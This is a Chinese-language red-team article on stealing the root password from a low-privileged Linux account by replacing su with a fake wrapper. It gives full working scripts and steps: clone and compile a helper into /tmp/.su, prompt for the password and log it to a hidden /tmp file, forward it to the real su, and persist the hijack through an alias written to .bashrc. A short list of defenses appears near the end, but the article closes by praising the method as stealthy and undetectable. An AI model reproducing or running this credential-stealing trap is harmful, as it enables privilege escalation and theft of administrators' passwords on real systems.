利用su小偷实现低权限用户窃取root用户口令
字数 1008 2025-08-27 12:33:23
利用su小偷实现低权限用户窃取root用户口令技术分析
背景介绍
在内部红蓝对抗实战中,攻击者常常需要获取高权限用户的口令。通过监控服务器上的认证过程,可以窃取敏感信息。本文详细分析了几种窃取su命令密码的技术方案,并提供了最优实现方法。
技术分析
1. 初始方案:strace监控
实现方法:
alias ssh='strace -o /tmp/.sshpwd-`date +%d%h%m%s`.log -e read -s2048 ssh'
局限性:
- 不能完美应用于su命令
- 使用strace监控su会导致无论输入正确密码与否都提示"Authentication failure"
- 容易引起管理员怀疑
2. su命令实现原理
- su使用PAM(Pluggable Authentication Modules)认证机制
- PAM框架将认证过程与具体实现分离
- 实际认证过程在
pam_rootok.so和pam_unix.so模块中完成 - su命令设置了SUID属性,普通用户无法重现实现具有SUID的su
3. brootkit方案分析
代码片段:
[ ! -f /tmp/... ] && ` touch /tmp/... && chmod 777 /tmp/... >/dev/null 2>&1`
echo -ne "Password:\r\033[?25l"
read -t 30 -s pass
echo -ne "\033[K\033[?25h"
/bin/su && unset su && echo $pass >> /tmp/...
缺陷:
- 管理员需要输入两次回车和两次密码
- 异常行为明显,容易被发现
4. fakesu.c方案分析
特点:
- 较古老的实现方式
- 无论密码正确与否都提示认证失败
- 现代环境中容易被识别
5. 基础bash脚本方案
初始脚本:
#!/bin/bash
echo -ne "Password:\c"
read -t 30 -s pass
echo "$pass" >> /tmp/...
echo "$pass" | /bin/su $*
问题:
- su命令不接受管道符传递密码
- 需要终端标准化输入
6. 优化方案:仿sshpass实现
解决方案:
- 寻找类似sshpass的工具实现su密码传递
- 开发自定义工具实现
-p参数传递密码给/bin/su
最终实现脚本(sushell):
#!/bin/bash
echo -ne "Password:\c"
read -t 30 -s pass
echo "$pass" >> /tmp/...
/tmp/.su -p "$pass" /bin/su $*
关键组件:
/tmp/.su:自定义工具,实现密码参数传递功能- 通过alias替换系统su命令:
alias su=/tmp/sushell
实现步骤
-
下载并编译su小偷工具:
git clone https://github.com/stanleyb0y/sushell cd sushell make cp pty /tmp/.su -
创建sushell脚本:
#!/bin/bash echo -ne "Password:\c" read -t 30 -s pass echo "$pass" >> /tmp/... /tmp/.su -p "$pass" /bin/su $* -
设置alias持久化:
alias su=/tmp/sushell # 或者添加到.bashrc影响所有后续登录用户 echo 'alias su=/tmp/sushell' >> ~/.bashrc
效果验证
- 密码输入错误时:正常显示认证失败
- 密码输入正确时:正常切换用户
- 所有尝试的密码都被记录到
/tmp/...文件中
防御措施
- 监控异常alias设置
- 检查/tmp目录下可疑文件
- 使用
md5sum或sha256sum定期校验su二进制文件 - 限制普通用户对敏感目录的写入权限
- 使用sudo替代su进行权限切换
总结
本文分析了多种su密码窃取技术,最终提供了通过自定义工具实现密码窃取的完整方案。该方案相比之前的方法更加隐蔽,不会引起管理员怀疑,是红队实战中获取高权限的有效手段。